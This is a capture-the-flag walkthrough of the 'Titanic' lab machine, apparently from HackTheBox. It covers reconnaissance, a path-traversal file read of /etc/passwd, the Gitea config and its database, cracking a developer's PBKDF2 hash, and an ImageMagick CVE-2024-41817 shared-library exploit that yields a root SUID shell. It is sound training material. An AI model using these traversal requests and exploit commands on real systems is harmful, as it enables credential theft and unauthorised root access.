Machine Info

Spoiler
Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts directory is being executed every minute. This script is running the magick binary in order to gather information about specific images. This version of magick is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root user.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM

Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.231.221
Host is up (0.098s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s add titanic.htb to our /etc/hosts

Web Enum & dev

While exploring the main website we launched immediately a subdomain fuzzing and we got a hit pretty quickly. We will add the subdomain to our /etc/hosts file but lets first explore the main site completely.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└└─$ ffuf -u "http://$VICTIM" -H "Host: FUZZ.titanic.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.231.221
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 86ms]
:: Progress: [4989/4989] :: Job [1/1] :: 377 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

So we see two interesting endpoints:

  • /book with POST
  • /download?ticket=[filename].json GET

The first makes a request and then the backend generates a json which we fetch with the second endpoint. Furthermore we observer the web server and python version of the server: Werkzeug/3.0.3 Python/3.10.12.

The web app behavior hints us to try check the ticket parameter for any misconfiguration. With a simple test we uncover Directory traversal / Arbitrary file read.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
└─$ curl 'http://titanic.htb/download?ticket=../../../../../etc/passwd' \                
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Referer: http://titanic.htb/' \
  -H 'Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Sec-GPC: 1' \
  -H 'Priority: u=0, i'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

We cannot find further information and we pivot our focus to the subdomain.

Gitea

We land in a Gitea server. Let’s see what sources we can uncover here.

Info
Gitea is a forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, code review, continuous integration, kanban boards, tickets, and wikis. It supports self-hosting but also provides a free public first-party instance.

Exploring the repos we find one holding a mysql docker file.

We also see the web app in python we managed to find the dir traversal vulnerability. If we look at the python code holding the /download endpoint we can clearly see where the problem lies.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404
Important

Directory traversal vulnerability occurs because of how os.path.exists is used here. Check its behavior.

1
2
3
4
5
6
7
8
>>> import os
>>> os.path.join("lol","/etc","passwd")
'/etc/passwd'
>>> os.path.join("lol","/etc/passwd")
'/etc/passwd'
>>> os.path.join("lol","etc/passwd")
'lol/etc/passwd'
>>> 

When we place is slash ‘/’, everything that comes before it is discarded!

At this point knowing the user, developer we can just grab the flag. But let’s try to get access first.

Looking at the repos we observe the data folder for gitea.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

We already know that /home/developer/gitea/data is the main path for the gitea data. Checking out the configuration of gitea we see how the data structure looks(main file is app.ini) like and where the main config file may be saved.

Specifically for docker installation the docs say state: Customization files described here should be placed in /data/gitea directory. If using host volumes, it’s quite easy to access these files; for named volumes, this is done through another container or by direct access at /var/lib/docker/volumes/gitea_gitea/_data. The configuration file will be saved at /data/gitea/conf/app.ini after the installation.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
anas@kalig5:~$ curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini' 

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

What stands out is the sqlite3 database /data/gitea/gitea.db. We will download this the same way.

1
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db

Reading the database gives us two users.

1
2
3
4
5
6
sqlite> select * from user;
id|lower_name|name|full_name|email|keep_email_private|email_notifications_preference|passwd|passwd_hash_algo|must_change_password|login_type|login_source|login_name|type|location|website|rands|salt|language|description|created_unix|updated_unix|last_login_unix|last_repo_visibility|max_repo_creation|is_active|is_admin|is_restricted|allow_git_hook|allow_import_local|allow_create_organization|prohibit_login|avatar|avatar_email|use_custom_avatar|num_followers|num_following|num_stars|num_repos|num_teams|num_members|visibility|repo_admin_change_team_access|diff_view_style|theme|keep_activity_private

1|administrator|administrator||[email protected]|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|[email protected]|0|0|0|0|0|0|0|0|0||gitea-auto|0

2|developer|developer||[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0

Let’s give this to hashcat and try to crack the hashes. What may not be trivial here is the format for PBKDF2 as it can be tricky and hashcat’s examples list multiple times. We tried a lot but the correct one is the main one PBKDF2-HMAC-SHA256 which follows the format: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=.

From the database above we need to convert the password hash from hex to base64 (cyberchef can help here) and also to use the hash which is the one before the language.

Developer's password
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 hashcat  hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-60.txt 
hashcat (v7.1.2) starting in autodetect mode
...     

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc...lM+1Y=
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou-60.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:    16249 H/s (6.46ms) @ Accel:4 Loops:250 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 21040/21040 (100.00%)
Rejected.........: 0/21040 (0.00%)
Restore.Point....: 0/21040 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:49750-49999
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> kkkkkkk
Hardware.Mon.#01.: Temp: 60c Util:100% Core:1935MHz Mem:6000MHz Bus:8

Now we have ssh access as developer and we can grab the flag.


Root

Magick

After enumerating a bit the system for known gems we come across /opt/scripts/identify_images.sh. The script is only three lines:

1
2
3
4
5
6
7
developer@titanic:~$ cat  /opt/scripts/identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

developer@titanic:~$ ls -al /opt/app/static/assets/images/metadata.log 
-rw-r----- 1 root developer 442 Mar  3 21:43 /opt/app/static/assets/images/metadata.log

It is owned by root and seems to be running every minute or something, although we couldn’t find the cronjob.

What got us our interest is the magick command.

1
2
3
4
5
6
7
developer@titanic:~$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

And looking it up online we uncover CVE-2024-41817, an Arbitary Code Excution for the version we have installed! We download a public PoC and try to exploit this.

1
2
3
4
└─$ python exploit.py -H titanic.htb -p 22 -u developer -P 25282528 -d
[!] Mode detection only
[+] ImageMagick version: 7.1.1-35
[+] ImageMagick version is vulnerable

We confirm that our version is vulnerable. Let’s use the exploit.

Tip

The root of the issue lies in how certain ImageMagick builds are compiled: the current working directory is included in the search path for configuration files and shared libraries.

The proof of concept works by placing a malicious shared library named libxcb.so.1 in that directory. This library is normally used for low-level interaction with the X11 windowing system. Because ImageMagick loads this library and checks the current directory as part of its search path, it ends up loading the attacker-controlled version instead. More about the vulnerability and PoC can be found here

We could have build the shared library ourselves on the victim host but we will do it again with the python script we got. We will copy bash somewhere we can access it and set the SUID/GUID bits.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
└─$ python exploit.py -H titanic.htb -p 22 -u developer -P 25282528 -A -c 'cp /bin/bash /tmp/p4n4; chmod 6777 /tmp/p4n4'
[!] Mode auto, detection, build and push the payload to the target
[!] Auto mode
[+] ImageMagick version: 7.1.1-35
[+] ImageMagick version is vulnerable
[!] Building payload
[!] Payload created in "/home/p4n4/Desktop/htb-labs/linux/titanic/CVE-2024-41817-poc/out/delegates.xml"
[*] Compiling shared library with gcc...
[+] Shared library successfully compiled: out/libxcb.so.1
[+] Shared library ready to use: out/libxcb.so
[+] Payload delegates.xml successfully sent to /tmp/
[+] Payload libxcb.so successfully sent to /tmp/
Important
Now we need to transfer the shared library to the folder where the script is running as root, as this is the whole point of the vulnerability!
1
developer@titanic:/tmp$ cp libxcb.so.1 /opt/app/static/assets/images/

We just need to wait for teh cron to run. After a while we see we got our bash in /tmp and we can run it preserving privileges with -p.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
developer@titanic:/tmp$ ls
delegates.xml
libxcb.so.1
p4n4
snap-private-tmp
ssh_client_ip_developer
systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-apache2.service-bbzoTC
systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-ModemManager.service-mR6tRN
systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-systemd-logind.service-vGibvE
systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-systemd-resolved.service-apz0BA
systemd-private-0b9b822cb27143edbdd0c70f727e9e3e-systemd-timesyncd.service-KRqJcP
vmware-root_617-4022243191
developer@titanic:/tmp$ ./p4n4 -p
p4n4-5.1# id
uid=1000(developer) gid=1000(developer) euid=0(root) egid=0(root) groups=0(root),1000(developer)
p4n4-5.1#